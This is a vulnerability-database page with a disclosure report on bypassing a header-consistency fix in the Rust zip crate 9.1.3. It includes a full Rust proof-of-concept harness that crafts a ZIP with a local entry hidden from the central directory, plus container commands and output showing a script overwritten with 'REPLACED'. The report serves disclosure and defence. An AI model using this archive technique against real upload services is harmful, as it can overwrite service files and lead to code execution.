
Cloud Vulnerability DB
A community-led vulnerabilities database
In zip 9.1.3, ZipArchive::validate_header_consistency() (designed to address CVE-2026-115905) compares each central-directory entry to the local header at its offset. It never scans local headers that the central directory omits, but ZipStreamReader::extract() still extracts them.
This is a narrower case than the published one-entry name mismatch. That original input was refused by the patched archive check. A listed near-miss was refused too. The bypass works only when an application uses strict ZipArchive validation as a gateway, then extracts the same bytes with the default streaming reader. Strict streaming extraction rejected my input and left the target alone.
af2ed2a. I wrote this Rust harness under the release source examples/ directory. The harness builds stored ZIP records directly. For the bypass, it emits two local file headers, cron_worker.sh and doc_report.pdf, then a central directory containing only doc_report.pdf at the second local header's exact offset. It creates an existing cron_worker.sh containing ORIGINAL before each extraction.BINKIT_CONTAINER=sbx ~/Projects/Novel-Researches/_tools/binkit/binkit.sh fetch https://api.github.com/repos/zip-rs/zip2/tarball/v9.1.3 /tmp/zip2-cve-bypass-r32-current
docker exec sbx mkdir -p /tmp/zip2-cve-bypass-r32-v913
docker exec sbx tar -xzf /tmp/zip2-cve-bypass-r32-current/zip-rs-zip2-v9.1.3-0-gaf2ed2a.tar.gz -C /tmp/zip2-cve-bypass-r32-v913 --strip-components=1be37bebb3669ee536d2a16787aa2d85b1c862162364ab8158a8d01ec0c046d71 /tmp/zip2-cve-bypass-r32-current/zip-rs-zip2-v9.1.3-0-gaf2ed2a.tar.gzI wrote the following harness inside the same container. It generates each ZIP byte for byte, runs the strict gateway, and prints the extracted target.docker exec -i sbx sh -c 'cat > /tmp/zip2-cve-bypass-r32-v913/examples/zip_cloak_r32.rs' <<'RS'
use std::{fs, io::Cursor, path::PathBuf};
use zip::{unstable::stream::ZipStreamReader, ZipArchive};
fn u16le(v: &mut Vec<u8>, x: u16) { v.extend_from_slice(&x.to_le_bytes()); }
fn u32le(v: &mut Vec<u8>, x: u32) { v.extend_from_slice(&x.to_le_bytes()); }
fn crc32(data: &[u8]) -> u32 {
let mut crc = !0u32;
for &b in data {
crc ^= u32::from(b);
for _ in 0..8 {
crc = (crc >> 1) ^ (0xedb8_8320u32 & (0u32.wrapping_sub(crc & 1)));
}
}
!crc
}
fn local(v: &mut Vec<u8>, name: &[u8], data: &[u8]) -> u32 {
let offset = v.len() as u32;
u32le(v, 0x0403_4b50);
u16le(v, 20); u16le(v, 0); u16le(v, 0); u16le(v, 0); u16le(v, 0);
u32le(v, crc32(data));
u32le(v, data.len() as u32); u32le(v, data.len() as u32);
u16le(v, name.len() as u16); u16le(v, 0);
v.extend_from_slice(name); v.extend_from_slice(data);
offset
}
fn central(v: &mut Vec<u8>, name: &[u8], data: &[u8], offset: u32) {
u32le(v, 0x0201_4b50);
u16le(v, 20); u16le(v, 20); u16le(v, 0); u16le(v, 0);
u16le(v, 0); u16le(v, 0);
u32le(v, crc32(data));
u32le(v, data.len() as u32); u32le(v, data.len() as u32);
u16le(v, name.len() as u16); u16le(v, 0); u16le(v, 0);
u16le(v, 0); u16le(v, 0); u32le(v, 0); u32le(v, offset);
v.extend_from_slice(name);
}
fn archive(kind: &str) -> Vec<u8> {
let evil = b"REPLACED\n";
let safe = b"%PDF-1.4\n";
let mut v = Vec::new();
if kind == "benign" {
let off = local(&mut v, b"doc_report.pdf", safe);
let dir_off = v.len() as u32;
central(&mut v, b"doc_report.pdf", safe, off);
let dir_size = v.len() as u32 - dir_off;
u32le(&mut v, 0x0605_4b50);
u16le(&mut v, 0); u16le(&mut v, 0); u16le(&mut v, 1); u16le(&mut v, 1);
u32le(&mut v, dir_size); u32le(&mut v, dir_off); u16le(&mut v, 0);
return v;
}
let evil_off = local(&mut v, b"cron_worker.sh", evil);
let safe_off = if kind == "original" { 0 } else { local(&mut v, b"doc_report.pdf", safe) };
let dir_off = v.len() as u32;
let n = if kind == "original" {
central(&mut v, b"doc_report.pdf", evil, evil_off); 1
} else if kind == "bypass" {
central(&mut v, b"doc_report.pdf", safe, safe_off); 1
} else {
central(&mut v, b"cron_worker.xx", evil, evil_off);
central(&mut v, b"doc_report.pdf", safe, safe_off); 2
};
let dir_size = v.len() as u32 - dir_off;
u32le(&mut v, 0x0605_4b50);
u16le(&mut v, 0); u16le(&mut v, 0); u16le(&mut v, n); u16le(&mut v, n);
u32le(&mut v, dir_size); u32le(&mut v, dir_off); u16le(&mut v, 0);
v
}
fn main() -> Result<(), Box<dyn std::error::Error>> {
let work = PathBuf::from(std::env::args().nth(1).expect("work directory"));
let selected = std::env::args().nth(2).unwrap_or_else(|| "all".to_string());
fs::create_dir_all(&work)?;
for kind in ["benign", "original", "bypass", "control"]
.into_iter()
.filter(|kind| selected == "all" || selected == *kind)
{
let dest = work.join(kind);
fs::create_dir_all(&dest)?;
let target = dest.join("cron_worker.sh");
fs::write(&target, b"ORIGINAL\n")?;
let bytes = archive(kind);
fs::write(work.join(format!("{kind}.zip")), &bytes)?;
let mut reader = ZipArchive::new(Cursor::new(bytes.as_slice()))?;
let gateway = reader.validate_header_consistency();
let accepted = gateway.is_ok();
let extraction = if accepted {
Some(ZipStreamReader::new(Cursor::new(bytes.as_slice())).extract(&dest))
} else { None };
let strict_dest = work.join(format!("{kind}-strict"));
fs::create_dir_all(&strict_dest)?;
fs::write(strict_dest.join("cron_worker.sh"), b"ORIGINAL\n")?;
let strict = ZipStreamReader::new(Cursor::new(bytes.as_slice()))
.enforce_header_consistency(true).extract(&strict_dest);
let target_after = fs::read_to_string(&target)?;
let strict_after = fs::read_to_string(strict_dest.join("cron_worker.sh"))?;
println!("{kind}: gateway={} extraction={} target={} strict_stream={} strict_target={}",
if accepted { "ACCEPT" } else { "REFUSE" },
match extraction { None => "SKIP", Some(Ok(())) => "OK", Some(Err(_)) => "ERR" },
target_after.trim_end(),
if strict.is_ok() { "ACCEPT" } else { "REFUSE" },
strict_after.trim_end());
if let Err(e) = gateway { println!("{kind}: gateway_error={e}"); }
if let Err(e) = strict { println!("{kind}: strict_error={e}"); }
}
Ok(())
}
RSdocker exec sbx bash -lc 'cd /tmp/zip2-cve-bypass-r32-v913 && cargo run --quiet --example zip_cloak_r32 --no-default-features -- /tmp/zip2-cve-bypass-r32-standalone benign'benign: gateway=ACCEPT extraction=OK target=ORIGINAL strict_stream=ACCEPT strict_target=ORIGINALcron_worker.sh, central name doc_report.pdf. The patched strict gateway refused it before stream extraction. The target stayed unchanged.docker exec sbx bash -lc 'cd /tmp/zip2-cve-bypass-r32-v913 && cargo run --quiet --example zip_cloak_r32 --no-default-features -- /tmp/zip2-cve-bypass-r32-standalone original'original: gateway=REFUSE extraction=SKIP target=ORIGINAL strict_stream=REFUSE strict_target=ORIGINAL
original: gateway_error=invalid Zip archive: header inconsistency detected: Local file header filename mismatch (does not match central directory)
original: strict_error=invalid Zip archive: header inconsistency detected: Local file header filename mismatch (does not match central directory)cron_worker.sh with REPLACED content. The second was doc_report.pdf. Only the PDF appeared in the central directory. Strict ZipArchive validation accepted the archive, then default streaming extraction overwrote the script. I also ran strict streaming extraction on the same bytes; it refused the missing central entry and kept its target unchanged.docker exec sbx bash -lc 'cd /tmp/zip2-cve-bypass-r32-v913 && cargo run --quiet --example zip_cloak_r32 --no-default-features -- /tmp/zip2-cve-bypass-r32-standalone bypass'bypass: gateway=ACCEPT extraction=OK target=REPLACED strict_stream=REFUSE strict_target=ORIGINAL
bypass: strict_error=invalid Zip archive: header inconsistency detected: entry count mismatch (2 local vs 1 central)cron_worker.xx. The strict gateway caught that mismatch, skipped extraction, and left the target unchanged.docker exec sbx bash -lc 'cd /tmp/zip2-cve-bypass-r32-v913 && cargo run --quiet --example zip_cloak_r32 --no-default-features -- /tmp/zip2-cve-bypass-r32-standalone control'control: gateway=REFUSE extraction=SKIP target=ORIGINAL strict_stream=REFUSE strict_target=ORIGINAL
control: gateway_error=invalid Zip archive: header inconsistency detected: Local file header filename mismatch (does not match central directory)
control: strict_error=invalid Zip archive: header inconsistency detected: Local file header filename mismatch (does not match central directory)In the tested gateway/extractor pairing, an archive passed the new strict check while hiding a file that the streaming extractor later wrote. I measured an overwrite of an existing script in a local directory. If a service executes such an overwritten file, that can become code execution under the service's account. I did not test a deployed application or execute the overwritten script.
I score this 8.1, CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H. The attacker can supply a ZIP remotely without privileges or user interaction in the upload scenario described by the parent advisory. I set AC:H because this residual needs a specific integration: a strict ZipArchive gateway followed by default ZipStreamReader extraction. The parent advisory's 10.0 score covered the broader dual-header mismatch and does not price that narrower post-fix precondition. High confidentiality, integrity, and availability effects depend on the victim later running an overwritten service file; the lab directly established the overwrite, not those downstream effects.
ZipArchive::validate_header_consistency() iterates self.shared.files, which is populated from the central directory. It validates each listed entry's local header and checks overlaps among listed entries. There is no pass over the local headers before the central directory. ZipStreamReader sees that earlier, unlisted local entry because it parses the stream sequentially.
I tested zip v9.1.3 in a disposable Linux container. The local harness pairs two public APIs to model a gateway and an extractor; I did not identify a production application with that exact pairing. The default streaming reader is intentionally permissive.
This report was prepared with AI assistance (Claude Code). The reporter stands behind its content; every arm above was executed in a contained lab against the published release, and I can re-run any of them on request.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."